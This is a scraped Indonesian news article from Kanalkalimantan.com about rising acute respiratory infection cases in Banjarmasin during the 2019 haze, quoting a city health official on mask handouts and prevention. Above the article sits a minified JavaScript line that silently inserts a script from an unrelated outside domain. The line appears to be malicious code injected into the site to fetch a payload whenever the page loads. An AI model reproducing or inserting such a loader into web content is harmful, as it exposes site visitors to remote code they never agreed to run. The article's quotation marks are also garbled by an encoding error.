(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Polusi udara akibat kabut asap di Banjarmasin mulai menggerogoti kesehatan warga. Terutama, warga yang rentan terhadap penyakit ISPA atau infeksi saluran pernapasan akut.
Berdasarkan data dari Dinas Kesehatan Kota Banjarmasin, tercatat 1.385 kasus ISPA pada minggu 34 tahun 2019. Sementara, pada minggu 36 meningkat menjadi 1.428 kasus. Atau, selama memasuki masa dimana kota Seribu Sungai dikepung oleh kabut asap.
Menurut Kabid Pengendalian dan Pemberantasan Penyakit (P2P) Dinas Kesehatan Banjarmasin dr Bandiyah Marifah, peningkatan kasus ISPA yang terjadi selama kabut asap tidak begitu signifikan. “Karena peningkatan masih dalam taraf rata-rata,†kata dr Bandiyah kepada Kanalkalimantan.com, Senin (16/9). Jika dilihat dari sebaran kasus ISPA akibat kabut asap di kota Seribu Sungai, dr Bandiyah menyebut sebarannya hampir merata.
Dinkes Banjarmasin sendiri telah melakukan upaya penanganan dalam menghadapi kabut asap. Seperti pembagian masker gratis kepada masyarakat Kota Banjarmasin. “Waktu awal kabut asap, kami sudah melakukan pembagian masker gratis. Ada tiga titik, di Terminal Km 6, di simpang empat kantor Pos Besar dan di seputaran Masjid Hasanuddin Madjedie,†kata dr Bandiyah.
Selain itu, dr Bandiyah menambahkan, akses untuk pembagian masker gratis di Puskesmas telah dibuka. “Langkah berikutnya, kami bekerjasama dengan badan krisis, kami untuk meminta permohonan penambahan masker. Insya Allah akan kami bagikan juga kepada masyarakat,†tambah dr Bandiyah.
Selain itu, Dinas Kesehatan Banjarmasin juga mengeluarkan edaran yang berisi penanganan dan pencegahan penyakit ISPA akibat kabut asap. “Setiap ke luar rumah diupayakan untuk menggunakan masker. Itu hal yang sederhana tapi sangat signifikan untuk mencegah kejadian ISPA. Kedua, kita menggalakkan untuk data survey ISPA-nya, jadi kalau meningkat signifikan akan melakukan langkah yang lebih agresif,†papar dr Bandiyah.
Ketiga, dr Bandiyah menegaskan, sosialisasi yang intensif di Puskesmas untuk mencegah dan menanggulangi ISPA. Selain itu, masyarakat disarankan untuk menggunakan masker, perbanyak minum air putih agar membantu tubuh untuk merespon penguapan cairan dari dalam tubuh. “Juga membantu mengeliminasi debu-debu dan virus yang masuk ke dalam tubuh,†papar dr Bandiyah.
Lantas, pada usia berapa yang rentan terhadap ISPA akibat kabut asap? “Kalau yang peningkatan kasus itu pastinya anak-anak karena memang daya tubuhnya masih rendah. Jadi yang banyak peningkatan itu pertama anak-anak dan kedua orang tua atau lansia,†tutup dr Bandiyah. (fikri)
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
This website uses cookies.